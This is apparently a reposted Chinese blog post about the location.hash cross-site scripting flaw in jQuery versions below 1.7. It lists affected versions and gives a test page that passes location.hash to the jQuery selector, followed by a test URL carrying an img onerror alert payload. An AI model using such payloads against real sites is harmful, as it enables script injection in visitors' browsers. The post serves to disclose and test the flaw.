jquery下载地址：https://code.jquery.com/jquery/ 影响范围： 版本低于1.7的jQuery过滤用户输入数据所使用的正则表达式存在缺陷，可能导致LOCA
jquery下載地址：https://code.jquery.com/jquery/
影響范圍：
????版本低于1.7的jQuery過濾用戶輸入數據所使用的正則表達式存在缺陷，可能導致LOCATION.HASH跨站漏洞
已測試成功版本：
????jquery-1.6.min.js，jquery-1.6.1.min.js，jquery-1.6.2.min.js
????jquery-1.5所有版本
????jquery-1.4所有版本
????jquery-1.3所有版本
????jquery-1.2所有版本
測試：
啟動nginx，并建立index.html頁面，內容如下：
漏洞發現者給的測試代碼：
<html>
<head>
????<title>JQuery-xss-test</title>
????<script src="https://code.jquery.com/jquery-1.6.1.min.js"></script>
????<script>
????$(function(){
????try { $(location.hash) } catch(e) {}
????})
????</script>
</head>
<body>
????Jquery xss test.
</body>
</html>
訪問地址：
http://localhost/#<img src=/ οnerrοr=alert(/F4ckTeam/)>
測試截圖：
總結
以上是生活随笔為你收集整理的jquery下载地址：https://code.jquery.com/jquery/ 影响范围： 版本低于1.7的jQuery过滤用户输入数据所使用的正则表达式存在缺陷，可能导致LOCA的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： C#怎么用代码模拟手机去访问手机网站抓取
- 下一篇： 版本低于1.7的jQuery过滤用户输入